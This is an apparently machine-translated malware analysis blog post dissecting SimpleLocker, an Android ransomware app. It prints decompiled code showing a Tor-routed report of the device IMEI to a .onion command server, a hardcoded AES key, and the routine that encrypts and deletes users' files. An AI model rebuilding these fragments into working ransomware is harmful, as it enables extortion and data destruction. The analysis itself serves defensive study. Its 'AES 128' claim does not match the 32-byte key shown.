📜 ⬆️ ⬇️

Analysis of Simplelocker-a - extortion virus for Android



Good afternoon, dear habrachchiteli, today our specialists would like to present your gaze analysis of one virus that came to us recently Android, if you can call it that, SimpleLocker. In order to learn more about him, we have done a lot of work, which in general can be divided into 3 steps:

Step 1. Analyze the manifest and resources
Step 2. Decompiling the application
Step 3. Code analysis

Step 1. Analyze the manifest and resources
First of all, it was decided to analyze the application resources using the aapt.exe utility to extract the string content from the apk file with the command
c: \ android \ apktool> aapt.exe list -a .. \ simple \ fd694cf5ca1dd4967ad6e8c67241114c.apk
')
The permissions used in this application were the following:
android.permission.INTERNET android.permission.ACCESS_NETWORK_STATE android.permission.READ_PHONE_STATE android.permission.RECEIVE_BOOT_COMPLETED android.permission.WAKE_LOCK android.permission.WRITE_EXTERNAL_STORAGE android.permission.READ_EXTERNAL_STORAGE 

Receivers are present:
  .ServiceStarter android.intent.action.BOOT_COMPLETED .SDCardServiceStar android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE 

as well as the following services:
  .MainService org.torproject.android.service.TorService org.torproject.android.service.ITorService org.torproject.android.service.TOR_SERVICE 

From the manifest, we become aware that the virus can work with the TOR network and with an external memory card.
Unpack the application and see what is in the resources. The most interesting is in the res \ raw folder. We find two masked files for mp3, which actually provide an archive containing the database of GeoIP countries, as well as configuration files for TOR
Torrc file:
  SocksPort 9050 SOCKSListenAddress 127.0.0.1 SafeSocks 0 TestSocks 1 WarnUnsafeSocks 1 Log notice stdout ControlListenAddress 127.0.0.1 ControlPort 9051 CookieAuthentication 1 TransPort 9040 TransListenAddress 127.0.0.1 DNSPort 5400 DNSListenAddress 127.0.0.1 AvoidDiskWrites 1  torrctether SocksPort 9050 SOCKSListenAddress 0.0.0.0 SafeSocks 0 TestSocks 1 WarnUnsafeSocks 1 Log notice stdout ControlPort 9051 ControlListenAddress 0.0.0.0 CookieAuthentication 1 RelayBandwidthRate 100 KBytes RelayBandwidthBurst 100 KBytes UseBridges 0 AutomapHostsOnResolve 1 TransListenAddress 0.0.0.0 TransPort 9040 DNSListenAddress 0.0.0.0 DNSPort 5400 AvoidDiskWrites 1 

And the privoxy_config file
 # Generally, this file goes in /etc/privoxy/config # # Tor listens as a SOCKS4a proxy here: forward-socks4a / 127.0.0.1:9050 . confdir /data/data/org.torproject.android logdir /data/data/org.torproject.android # actionsfile standard # Internal purpose, recommended #actionsfile default.action # Main actions file #actionsfile user.action # User customizations #filterfile default.filter # Don't log interesting things, only startup messages, warnings and errors #logfile logfile #jarfile jarfile #debug 1 #debug 0 # show each GET/POST/CONNECT request #debug 4096 # Startup banner and warnings #debug 8192 # Errors - *we highly recommended enabling this* #user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 accept-intercepted-requests 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096 

Step 2. Decompiling the application
To decompile the application, we use the service link .

Step 3. Code analysis
When you have a quick look at the names of the classes, you’ll look at the class Constants.java and see what constants are stored in it:
 public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/"; public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1; public static final String CIPHER_PASSWORD = "jndlasf074hr"; public static final String CLIENT_NUMBER = "19"; public static final String DEBUG_TAG = "DEBUGGING"; public static final String DISABLE_LOCKER = "DISABLE_LOCKER"; public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] { "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"}); public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED"; public static final int MONEYPACK_DIGITS_NUMBER = 14; public static final int PAYSAFECARD_DIGITS_NUMBER = 16; public static final int POLLING_TIME_MINUTES = 3; public static final String PREFS_NAME = "AppPrefs"; public static final int UKASH_DIGITS_NUMBER = 19; 

For constant variables, you can assume where the data is sent, which password is used to encrypt files, which files are subject to encryption.
The virus must somehow interact with the server and encrypt the files. Find the code sections that are responsible for this functionality. Let's start with the analysis of the class MainService.java which acts as the MainService service.
Data exchange with the server.
In the class MainService.java in the run () method, the function TorSender.sendCheck (context) is called;
 public void run() { …… TorSender.sendCheck(context); } 

TorSender.java, this class contains one method:
 public static void sendCheck(Context context) { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("type", "locker check"); jsonobject.put("device id", Utils.getCutIMEI(context)); jsonobject.put("client number", "19"); (new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending(); return; } catch (JSONException jsonexception) { jsonexception.printStackTrace(); } } 

A json object is created that contains information about the type of request, the IMEI of the device:
 (Utils.getCutIMEI(context))   . public static String getCutIMEI(Context context) { String s = getIMEI(context); …. } public static String getIMEI(Context context) { return ((TelephonyManager)context.getSystemService("phone")).getDeviceId(); } 

When sending, a proxy server 127.0.0.1:9050 is first created when calling the explicit constructor of the class HttpSender.java
 public HttpSender(String s, RequestType requesttype, Context context1) { dataToSend = s; settings = context1.getSharedPreferences("AppPrefs", 0); httpclient = new StrongHttpsClient(context1); httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050); context = context1; type = requesttype; } 

And then we call the startSending () method, which will transfer the data to eyocsu7fu2vjhxs.onion server.
 public void startSending() { …. HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend); ... } 

File Encryption:
The MainService service starts a stream to encrypt files.
 new Thread(new Runnable() { … (new FilesEncryptor(context)).encrypt(); … } 

Consider the explicit constructor for the FilesEncryptor (context) class.
 public FilesEncryptor(Context context) { filesToEncrypt = new ArrayList(); filesToDecrypt = new ArrayList(); settings = context.getSharedPreferences("AppPrefs", 0); getFileNames(new File(Environment.getExternalStorageDirectory().toString())); } 

We see the initialization of two lists of stored regular and encrypted files, the getFileNames (File file) method fills the lists:
 private void getFileNames(File file) { … String s = file1.getAbsolutePath(); String s1 = s.substring(1 + s.lastIndexOf(".")); if (extensionsToDecrypt.contains(s1)) { filesToDecrypt.add(file1.getAbsolutePath()); } else if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1)) { filesToEncrypt.add(file1.getAbsolutePath()); } … } 

And the encrypt () method will encrypt files from the filesToEncrypt list.
 public void encrypt() throws Exception { … AesCrypt aescrypt; Iterator iterator; aescrypt = new AesCrypt("jndlasf074hr"); iterator = filesToEncrypt.iterator(); … String s = (String)iterator.next(); aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString()); (new File(s)).delete(); … } 

Consider the class AesCrypt.java
private final Cipher cipher = Cipher.getInstance ("AES / CBC / PKCS7Padding");
AES 128 block encryption is used
In the class constructor, we hash the password with the SHA-256 algorithm and generate the key for the cipher:
 public AesCrypt(String s) throws Exception { MessageDigest messagedigest = MessageDigest.getInstance("SHA-256"); messagedigest.update(s.getBytes("UTF-8")); byte abyte0[] = new byte[32]; System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length); key = new SecretKeySpec(abyte0, "AES"); spec = getIV(); } 

Well, the encryption method itself:
 public void encrypt(String s, String s1) throws Exception { FileInputStream fileinputstream = new FileInputStream(s); FileOutputStream fileoutputstream = new FileOutputStream(s1); cipher.init(1, key, spec); CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher); byte abyte0[] = new byte[8]; do { int i = fileinputstream.read(abyte0); if (i == -1) { cipheroutputstream.flush(); cipheroutputstream.close(); fileinputstream.close(); return; } cipheroutputstream.write(abyte0, 0, i); } while (true); } 

After conducting this series of studies, we can conclude that this virus has very poor functionality, namely:
1. Grabbing IMEI victims
2. Work with the TOR network
3. File Encryption

Anton Boyarkin, Nurlan Nabiev, Department of Cybercrime Investigation , PentestIT

Source: https://habr.com/ru/post/237207/


All Articles